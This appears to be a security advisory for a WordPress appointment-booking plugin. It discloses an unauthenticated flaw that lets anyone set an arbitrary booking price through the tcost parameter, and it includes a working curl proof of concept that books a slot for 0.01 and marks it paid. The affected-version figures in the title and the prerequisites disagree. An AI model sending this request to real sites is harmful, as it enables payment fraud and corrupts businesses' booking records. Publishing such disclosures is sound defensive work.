Appointment Hour Booking < 1.5.88 – Unauthenticated Booking Price Manipulation via tcost Parameter | CVE 2026-16282

Description

The plugin does not validate a client-supplied booking price against the server-side configured service price, allowing unauthenticated users to submit an arbitrary final price (including zero or negative) that is stored as the authoritative booking price, corrupting booking and payment records.

Proof of Concept

Prerequisites: Appointment Hour Booking <= 1.5.86 active; a booking form (form id 1) with a service priced 100.00, published on a public page via the plugin shortcode.

The plugin processes bookings on the init hook for any front-end POST, so the request can go to the site root. A single unauthenticated request:

curl -k "https://victim.example/" \
  --data-urlencode "cp_appbooking_pform_process=1" \
  --data-urlencode "cp_appbooking_id=1" \
  --data-urlencode "cp_pform_psequence=_1" \
  --data-urlencode "fieldname1_1=2026-07-27 09:00/10:00 0 1" \
  --data-urlencode "tcostfieldname1_1=0.01" \
  --data-urlencode "bccf_payment_option_paypal=0" \
  --data-urlencode "email_1=attacker@example.com"

- fieldname1_1 = "<YYYY-MM-DD> <HH:MM/HH:MM slot> <service-index> <quantity>" (an available slot within the form's open hours).
- tcostfieldname1_1 = attacker-controlled price (accepts 0.01, -10.00, 500.00, etc.).
- bccf_payment_option_paypal=0 additionally flips the stored booking status from the form's default status to its "paid" status.

Expected result: a booking is created in wp_cpappbk_messages with final_price equal to the attacker-supplied value regardless of the server-side service price (100.00). The manipulated price surfaces in the admin booking list, notification emails, and CSV exports, and the chosen slot is consumed.

Negative controls: removing tcost or supplying a non-numeric value stores 0.00; negative (-10.00) and inflated (500.00) values are accepted and stored.